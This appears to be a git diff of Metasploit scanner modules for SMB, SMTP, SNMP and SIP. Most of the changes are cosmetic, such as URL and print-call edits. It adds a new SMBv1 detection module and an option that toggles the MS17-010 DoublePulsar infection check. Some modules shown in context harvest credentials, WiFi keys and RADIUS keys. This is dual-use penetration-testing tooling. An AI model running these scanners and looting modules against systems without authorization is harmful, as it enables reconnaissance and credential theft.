 ##
 
diff --git a/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb b/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb
index 98c4907052..38c9cd622a 100644
--- a/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb
+++ b/modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
 
   def initialize(info = {})
diff --git a/modules/auxiliary/scanner/smb/pipe_auditor.rb b/modules/auxiliary/scanner/smb/pipe_auditor.rb
index 7dae694222..dbecf03c16 100644
--- a/modules/auxiliary/scanner/smb/pipe_auditor.rb
+++ b/modules/auxiliary/scanner/smb/pipe_auditor.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
diff --git a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb
index 955cda18f8..0fcad08071 100644
--- a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb
+++ b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
diff --git a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb
index e12998b3fc..6abb4cde9b 100644
--- a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb
+++ b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -210,5 +210,4 @@ class MetasploitModule < Msf::Auxiliary
       return nil
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/smb/smb1.rb b/modules/auxiliary/scanner/smb/smb1.rb
new file mode 100644
index 0000000000..0e52f9f879
--- /dev/null
+++ b/modules/auxiliary/scanner/smb/smb1.rb
@@ -0,0 +1,76 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  # Exploit mixins should go first
+  include Msf::Exploit::Remote::Tcp
+
+  # Scanner mixin should be near last
+  include Msf::Auxiliary::Scanner
+  include Msf::Auxiliary::Report
+
+  # Aliases for common classes
+  SIMPLE = Rex::Proto::SMB::SimpleClient
+  XCEPT  = Rex::Proto::SMB::Exceptions
+  CONST  = Rex::Proto::SMB::Constants
+
+  def initialize
+    super(
+      'Name'        => 'SMBv1 Protocol Detection',
+      'Description' => 'Detect systems that support the SMBv1 protocol',
+      'Author'      => 'Chance Johnson @loftwing',
+      'License'     => MSF_LICENSE
+    )
+
+    register_options([ Opt::RPORT(445) ])
+  end
+
+  # Modified from smb2 module by @hdm
+  # Fingerprint a single host
+  def run_host(ip)
+    begin
+      connect
+
+      # Only accept NT LM 0.12 dialect and WfW3.0
+      dialects = ['PC NETWORK PROGRAM 1.0',
+                  'LANMAN1.0',
+                  'Windows for Workgroups 3.1a',
+                  'LM1.2X002',
+                  'LANMAN2.1',
+                  'NT LM 0.12']
+      data     = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
+
+      pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
+      pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
+      pkt['Payload']['SMB'].v['Flags1'] = 0x08
+      pkt['Payload']['SMB'].v['Flags2'] = 0xc801
+      pkt['Payload'].v['Payload']       = data
+
+      pkt['Payload']['SMB'].v['ProcessID']     = rand(0x10000)
+      pkt['Payload']['SMB'].v['MultiplexID']   = rand(0x10000)
+
+      sock.put(pkt.to_s)
+      res = sock.get_once
+      # expecting \xff instead of \xfe
+      if res && res.index("\xffSMB")
+        print_good("#{ip} supports SMBv1 dialect.")
+        report_note(
+          host: ip,
+          proto: 'tcp',
+          sname: 'smb1',
+          port: rport,
+          type: "supports SMB 1"
+        )
+      end
+    rescue ::Rex::ConnectionError
+    rescue EOFError
+    rescue Errno::ECONNRESET
+    rescue ::Exception => e
+      print_error("#{rhost}: #{e.class} #{e} #{e.backtrace}")
+    ensure
+      disconnect
+    end
+  end
+end
diff --git a/modules/auxiliary/scanner/smb/smb2.rb b/modules/auxiliary/scanner/smb/smb2.rb
index 6e48952e73..1b58adc612 100644
--- a/modules/auxiliary/scanner/smb/smb2.rb
+++ b/modules/auxiliary/scanner/smb/smb2.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should go first
@@ -57,7 +55,7 @@ class MetasploitModule < Msf::Auxiliary
           ctime = Rex::Proto::SMB::Utils.time_smb_to_unix(*(res[108,8].unpack("VV").reverse))
           btime = Rex::Proto::SMB::Utils.time_smb_to_unix(*(res[116,8].unpack("VV").reverse))
           utime = ctime - btime
-          print_status("#{ip} supports SMB 2 [dialect #{vers}] and has been online for #{utime/3600} hours")
+          print_good("#{ip} supports SMB 2 [dialect #{vers}] and has been online for #{utime/3600} hours")
           # Add Report
           report_note(
             :host	=> ip,
@@ -68,7 +66,7 @@ class MetasploitModule < Msf::Auxiliary
             :data	=> "supports SMB 2 [dialect #{vers}] and has been online for #{utime/3600} hours"
           )
         else
-          print_status("#{ip} supports SMB 2.0")
+          print_good("#{ip} supports SMB 2.0")
           # Add Report
           report_note(
             :host	=> ip,
@@ -88,5 +86,4 @@ class MetasploitModule < Msf::Auxiliary
       disconnect
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb
index e449dabff3..2ba77b0c74 100644
--- a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb
+++ b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -130,7 +130,7 @@ class MetasploitModule < Msf::Auxiliary
     results.each do |result|
       if datastore['STORE']
         stored_path = store_loot('windows.gpp.xml', 'text/plain', ip, xml_file[:xml], file_type, xml_file[:path])
-        print_status("XML file saved to: #{stored_path}")
+        print_good("XML file saved to: #{stored_path}")
       end
 
       report_creds(ip, result[:USER], result[:PASS])
diff --git a/modules/auxiliary/scanner/smb/smb_enumshares.rb b/modules/auxiliary/scanner/smb/smb_enumshares.rb
index 26948e85af..882356b5b5 100644
--- a/modules/auxiliary/scanner/smb/smb_enumshares.rb
+++ b/modules/auxiliary/scanner/smb/smb_enumshares.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/smb/smb_enumusers.rb b/modules/auxiliary/scanner/smb/smb_enumusers.rb
index 31b6eff486..11f7754a07 100644
--- a/modules/auxiliary/scanner/smb/smb_enumusers.rb
+++ b/modules/auxiliary/scanner/smb/smb_enumusers.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
diff --git a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb
index 3b51f312e5..4a175d9a21 100644
--- a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb
+++ b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb
index 9f30e24d3e..bd9a859a6a 100644
--- a/modules/auxiliary/scanner/smb/smb_login.rb
+++ b/modules/auxiliary/scanner/smb/smb_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/login_scanner/smb'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::DCERPC
   include Msf::Exploit::Remote::SMB::Client
   include Msf::Exploit::Remote::SMB::Client::Authenticated
diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb
index eb194b66d6..4d62a29ef2 100644
--- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb
+++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
diff --git a/modules/auxiliary/scanner/smb/smb_ms17_010.rb b/modules/auxiliary/scanner/smb/smb_ms17_010.rb
index 3ee31bf72e..9ea9cf4615 100644
--- a/modules/auxiliary/scanner/smb/smb_ms17_010.rb
+++ b/modules/auxiliary/scanner/smb/smb_ms17_010.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SMB::Client
   include Msf::Exploit::Remote::SMB::Client::Authenticated
 
@@ -33,6 +32,8 @@ class MetasploitModule < Msf::Auxiliary
           ],
       'References'     =>
         [
+          [ 'AKA', 'DOUBLEPULSAR' ],
+          [ 'AKA', 'ETERNALBLUE' ],
           [ 'CVE', '2017-0143'],
           [ 'CVE', '2017-0144'],
           [ 'CVE', '2017-0145'],
@@ -46,6 +47,11 @@ class MetasploitModule < Msf::Auxiliary
         ],
       'License'        => MSF_LICENSE
     ))
+
+    register_options(
+      [
+        OptBool.new('CHECK_DOPU', [true, 'Check for DOUBLEPULSAR on vulnerable hosts', true])
+      ])
   end
 
   # algorithm to calculate the XOR Key for DoublePulsar knocks
@@ -79,24 +85,26 @@ class MetasploitModule < Msf::Auxiliary
         )
 
         # vulnerable to MS17-010, check for DoublePulsar infection
-        code, signature1, signature2 = do_smb_doublepulsar_probe(tree_id)
+        if datastore['CHECK_DOPU']
+          code, signature1, signature2 = do_smb_doublepulsar_probe(tree_id)
 
-        if code == 0x51
-          xor_key = calculate_doublepulsar_xor_key(signature1).to_s(16).upcase
-          arch = calculate_doublepulsar_arch(signature2)
-          print_warning("Host is likely INFECTED with DoublePulsar! - Arch: #{arch}, XOR Key: 0x#{xor_key}")
-          report_vuln(
-            host: ip,
-            name: "MS17-010 DoublePulsar Infection",
-            refs: self.references,
-            info: "MultiPlexID += 0x10 on Trans2 request - Arch: #{arch}, XOR Key: 0x#{xor_key}"
-          )
+          if code == 0x51
+            xor_key = calculate_doublepulsar_xor_key(signature1).to_s(16).upcase
+            arch = calculate_doublepulsar_arch(signature2)
+            print_warning("Host is likely INFECTED with DoublePulsar! - Arch: #{arch}, XOR Key: 0x#{xor_key}")
+            report_vuln(
+              host: ip,
+              name: "MS17-010 DoublePulsar Infection",
+              refs: self.references,
+              info: "MultiPlexID += 0x10 on Trans2 request - Arch: #{arch}, XOR Key: 0x#{xor_key}"
+            )
+          end
         end
       elsif status == "STATUS_ACCESS_DENIED" or status == "STATUS_INVALID_HANDLE"
         # STATUS_ACCESS_DENIED (Windows 10) and STATUS_INVALID_HANDLE (others)
-        print_bad("Host does NOT appear vulnerable.")
+        print_error("Host does NOT appear vulnerable.")
       else
-        print_bad("Unable to properly detect if host is vulnerable.")
+        print_error("Unable to properly detect if host is vulnerable.")
       end
 
     rescue ::Interrupt
diff --git a/modules/auxiliary/scanner/smb/smb_uninit_cred.rb b/modules/auxiliary/scanner/smb/smb_uninit_cred.rb
index 50f21a7625..a9a01e2253 100644
--- a/modules/auxiliary/scanner/smb/smb_uninit_cred.rb
+++ b/modules/auxiliary/scanner/smb/smb_uninit_cred.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -263,6 +263,5 @@ class MetasploitModule < Msf::Auxiliary
       print_status("The target appears to be safe")
     end
   end
-
 end
 
diff --git a/modules/auxiliary/scanner/smb/smb_version.rb b/modules/auxiliary/scanner/smb/smb_version.rb
index 6ae437fe3c..96cebed974 100644
--- a/modules/auxiliary/scanner/smb/smb_version.rb
+++ b/modules/auxiliary/scanner/smb/smb_version.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'recog'
 
 class MetasploitModule < Msf::Auxiliary
@@ -128,7 +127,7 @@ class MetasploitModule < Msf::Auxiliary
           match_conf['host.domain'] = conf[:SMBDomain]
         end
 
-        print_status("Host is running #{desc}")
+        print_good("Host is running #{desc}")
 
         # Report the service with a friendly banner
         report_service(
@@ -189,5 +188,4 @@ class MetasploitModule < Msf::Auxiliary
     end
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/smtp/smtp_enum.rb b/modules/auxiliary/scanner/smtp/smtp_enum.rb
index 5a2c53662c..84053a3ce7 100644
--- a/modules/auxiliary/scanner/smtp/smtp_enum.rb
+++ b/modules/auxiliary/scanner/smtp/smtp_enum.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Smtp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -211,5 +209,4 @@ class MetasploitModule < Msf::Auxiliary
     save_array = words.split(/\r?\n/)
     return save_array
   end
-
 end
diff --git a/modules/auxiliary/scanner/smtp/smtp_ntlm_domain.rb b/modules/auxiliary/scanner/smtp/smtp_ntlm_domain.rb
index f3f41f12a4..c7e76698fa 100644
--- a/modules/auxiliary/scanner/smtp/smtp_ntlm_domain.rb
+++ b/modules/auxiliary/scanner/smtp/smtp_ntlm_domain.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Smtp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -120,5 +119,4 @@ class MetasploitModule < Msf::Auxiliary
       disconnect
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/smtp/smtp_relay.rb b/modules/auxiliary/scanner/smtp/smtp_relay.rb
index fbb78fe329..287316508f 100644
--- a/modules/auxiliary/scanner/smtp/smtp_relay.rb
+++ b/modules/auxiliary/scanner/smtp/smtp_relay.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Smtp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -40,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary
     begin
       connect
       banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
-      print_status("SMTP #{banner_sanitized}")
+      print_good("SMTP #{banner_sanitized}")
       report_service(:host => rhost, :port => rport, :name => "smtp", :info => banner)
 
       if datastore['EXTENDED']
diff --git a/modules/auxiliary/scanner/smtp/smtp_version.rb b/modules/auxiliary/scanner/smtp/smtp_version.rb
index 381559ce0c..d8f179152e 100644
--- a/modules/auxiliary/scanner/smtp/smtp_version.rb
+++ b/modules/auxiliary/scanner/smtp/smtp_version.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Smtp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -26,8 +25,7 @@ class MetasploitModule < Msf::Auxiliary
   def run_host(ip)
     res = connect
     banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
-    print_status("#{ip}:#{rport} SMTP #{banner_sanitized}")
+    print_good("#{ip}:#{rport} SMTP #{banner_sanitized}")
     report_service(:host => rhost, :port => rport, :name => "smtp", :info => banner)
   end
-
 end
diff --git a/modules/auxiliary/scanner/snmp/aix_version.rb b/modules/auxiliary/scanner/snmp/aix_version.rb
index 8e778308a0..215d90946b 100644
--- a/modules/auxiliary/scanner/snmp/aix_version.rb
+++ b/modules/auxiliary/scanner/snmp/aix_version.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SNMPClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -72,5 +70,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/snmp/arris_dg950.rb b/modules/auxiliary/scanner/snmp/arris_dg950.rb
index 80da568dcc..717c1ed6f1 100644
--- a/modules/auxiliary/scanner/snmp/arris_dg950.rb
+++ b/modules/auxiliary/scanner/snmp/arris_dg950.rb
@@ -1,5 +1,5 @@
-#
-# This module requires Metasploit: http://metasploit.com/download
+##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -130,7 +130,7 @@ class MetasploitModule < Msf::Auxiliary
     loot_filename = 'arris_wifi.text'
     loot_desc     = 'Arris DG950A Wifi configuration data'
     p = store_loot(loot_name, loot_type, datastore['RHOST'], wifi_info, loot_filename, loot_desc)
-    print_status("WIFI Data saved in: #{p}")
+    print_good("WiFi Data saved in: #{p}")
   # No need to make noise
   rescue ::SNMP::UnsupportedVersion
   rescue ::SNMP::RequestTimeout
diff --git a/modules/auxiliary/scanner/snmp/brocade_enumhash.rb b/modules/auxiliary/scanner/snmp/brocade_enumhash.rb
index de22a138fc..63dd19a141 100644
--- a/modules/auxiliary/scanner/snmp/brocade_enumhash.rb
+++ b/modules/auxiliary/scanner/snmp/brocade_enumhash.rb
@@ -1,10 +1,9 @@
-#
-# This module requires Metasploit: http://metasploit.com/download
+##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SNMPClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/snmp/cambium_snmp_loot.rb b/modules/auxiliary/scanner/snmp/cambium_snmp_loot.rb
index e048ce2e18..33861ce8e1 100644
--- a/modules/auxiliary/scanner/snmp/cambium_snmp_loot.rb
+++ b/modules/auxiliary/scanner/snmp/cambium_snmp_loot.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb b/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb
index 3c97f80b76..fca4ddb476 100644
--- a/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb
+++ b/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SNMPClient
   include Msf::Auxiliary::Cisco
   include Msf::Auxiliary::Scanner
@@ -154,5 +152,4 @@ class MetasploitModule < Msf::Auxiliary
       disconnect_snmp
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/snmp/cisco_upload_file.rb b/modules/auxiliary/scanner/snmp/cisco_upload_file.rb
index 63da06c032..5921da86a8 100644
--- a/modules/auxiliary/scanner/snmp/cisco_upload_file.rb
+++ b/modules/auxiliary/scanner/snmp/cisco_upload_file.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SNMPClient
   include Msf::Auxiliary::Cisco
   include Msf::Auxiliary::Scanner
@@ -130,5 +128,4 @@ class MetasploitModule < Msf::Auxiliary
       disconnect_snmp
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/snmp/netopia_enum.rb b/modules/auxiliary/scanner/snmp/netopia_enum.rb
index 48217a9c6d..c43f85abcf 100644
--- a/modules/auxiliary/scanner/snmp/netopia_enum.rb
+++ b/modules/auxiliary/scanner/snmp/netopia_enum.rb
@@ -1,10 +1,9 @@
-#
-# This module requires Metasploit: http://metasploit.com/download
+##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SNMPClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -86,7 +85,7 @@ class MetasploitModule < Msf::Auxiliary
      loot_filename = "netopia_wifi.txt"
      loot_desc     = "Netopia Wifi configuration data"
      p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo , loot_filename, loot_desc)
-     print_status("WIFI Data saved: #{p}")
+     print_good("WiFi Data saved: #{p}")
 
      rescue ::SNMP::UnsupportedVersion
      rescue ::SNMP::RequestTimeout
diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb
index ea0af3bbae..2bbf55fef0 100644
--- a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb
+++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SNMPClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -309,5 +308,4 @@ class MetasploitModule < Msf::Auxiliary
       output_data["RADIUS Key"] = radius_key.to_s
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/snmp/snmp_enum.rb b/modules/auxiliary/scanner/snmp/snmp_enum.rb
index edaeab750c..d6023a6fdd 100644
--- a/modules/auxiliary/scanner/snmp/snmp_enum.rb
+++ b/modules/auxiliary/scanner/snmp/snmp_enum.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SNMPClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb b/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb
index c4c0145798..f68bfba654 100644
--- a/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb
+++ b/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SNMPClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -14,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
       'Name'        => 'HP LaserJet Printer SNMP Enumeration',
       'Description' => %q{
         This module allows enumeration of files previously printed.
-        It provides details as filename, client, timestamp and username informations.
+        It provides details as filename, client, timestamp and username information.
         The default community used is "public".
       },
       'References'  =>
diff --git a/modules/auxiliary/scanner/snmp/snmp_enumshares.rb b/modules/auxiliary/scanner/snmp/snmp_enumshares.rb
index b8942dc486..dc0f57ba98 100644
--- a/modules/auxiliary/scanner/snmp/snmp_enumshares.rb
+++ b/modules/auxiliary/scanner/snmp/snmp_enumshares.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SNMPClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -60,5 +59,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/snmp/snmp_enumusers.rb b/modules/auxiliary/scanner/snmp/snmp_enumusers.rb
index 6a7c599542..661909e0d7 100644
--- a/modules/auxiliary/scanner/snmp/snmp_enumusers.rb
+++ b/modules/auxiliary/scanner/snmp/snmp_enumusers.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/snmp/snmp_login.rb b/modules/auxiliary/scanner/snmp/snmp_login.rb
index dbb5dd9b6d..c77a0dcdcb 100644
--- a/modules/auxiliary/scanner/snmp/snmp_login.rb
+++ b/modules/auxiliary/scanner/snmp/snmp_login.rb
@@ -1,14 +1,12 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'metasploit/framework/community_string_collection'
 require 'metasploit/framework/login_scanner/snmp'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::AuthBrute
@@ -71,7 +69,7 @@ class MetasploitModule < Msf::Auxiliary
         credential_data[:core] = credential_core
         create_credential_login(credential_data)
 
-        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential} (Access level: #{result.access_level}); Proof (sysDescr.0): #{result.proof}"
+        print_good "#{ip}:#{rport} - Login Successful: #{result.credential} (Access level: #{result.access_level}); Proof (sysDescr.0): #{result.proof}"
         report_service(
           :host  => ip,
           :port  => rport,
diff --git a/modules/auxiliary/scanner/snmp/snmp_set.rb b/modules/auxiliary/scanner/snmp/snmp_set.rb
index 2b6d0fce54..d307e9b928 100644
--- a/modules/auxiliary/scanner/snmp/snmp_set.rb
+++ b/modules/auxiliary/scanner/snmp/snmp_set.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SNMPClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -89,5 +88,4 @@ class MetasploitModule < Msf::Auxiliary
       disconnect_snmp
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb b/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb
index cc0ba0782d..e1d98f3df6 100644
--- a/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb
+++ b/modules/auxiliary/scanner/snmp/ubee_ddw3611.rb
@@ -1,10 +1,9 @@
-#
-# This module requires Metasploit: http://metasploit.com/download
+##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SNMPClient
   include Msf::Auxiliary::Report
